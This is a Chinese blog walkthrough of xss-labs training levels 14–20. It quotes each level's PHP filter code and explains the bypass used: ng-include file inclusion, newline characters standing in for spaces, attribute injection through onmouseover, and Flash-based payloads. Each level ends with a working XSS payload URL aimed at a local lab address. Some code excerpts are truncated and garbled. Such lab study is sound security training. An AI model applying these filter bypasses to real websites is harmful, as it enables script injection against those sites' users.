xss-labs靶场训练(14-20)

第十四关

这一关iframe调用的文件地址访问失败,已经无法测试了。
xss-labs靶场训练(14-20)_第1张图片
这关主要考察exif xss漏洞,具体可以参考前辈的先知文章:exif xss

第十五关

后台关键代码:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '.htmlspecialchars($str).'">';
?>

这里主要考查ng-include 指令,该指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
引用文件名要加单引号 即 ng-include=" ‘index.html ’ "
绕过方法:利用ng-include指令的特性包含第一关的HTML文件,并以此触发弹窗
Payload:

 http://192.168.121.129/xss/level15.php?src='http://192.168.121.129/xss/level1.php?name=test'

第十六关

后台关键代码:

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("	"," ",$str4);
echo "
".$str5."
"
; ?> <center><img src=level16.png></center>

这里过滤了script、空格、/,用换行符%0a(回车)或%0D(回车)取代空格(在HTML中%0a和%0D是可以当成空格使用的)
Payload:

http://192.168.121.129/xss/level16.php?keyword<img%0asrc="1.jpg"%0aonerror=alert(1)>

第十七关

后台关键代码:


ini_set("display_errors", 0);
echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

这里用到了 标签,是用来嵌入图片的。然后arg01和arg02两个变量对特殊字符进行了过滤。可以考虑用onclick或onmouseover事件绕过。因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onmouseover看作另外一个属性。

Payload:

http://192.168.121.129/xss/level17.php?arg01=a&arg02=b onmouseover=alert(1)

第十八关

后台关键代码:


ini_set("display_errors", 0);
echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

这一关的代码基本和十七关一样,只是图片不同而已,所以解法和十七关一样。

第十九关

这关是flash xss,涉及到反编译,暂时搞不懂,先记下payload:

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

第二十关

暂时搞不懂,先记下payload
Payload:

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height

这里可以用一种万能的方法触发弹窗,就是编辑HTML手动添加onmouseover时件
xss-labs靶场训练(14-20)_第2张图片
xss-labs靶场训练(14-20)_第3张图片

总结

后面这几关打的有点吃力,主要原因是知识不够全面,之后还得逐步完善自己的知识体系,安全道路任重而道远啊!

参考文章

https://blog.csdn.net/qq_41734243/article/details/105991109?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522159032497919725211935522%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=159032497919725211935522&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v28-7-105991109.pc_insert_v8&utm_term=xss-labs

https://blog.csdn.net/qq_43968080/article/details/104725021

你可能感兴趣的:(xss)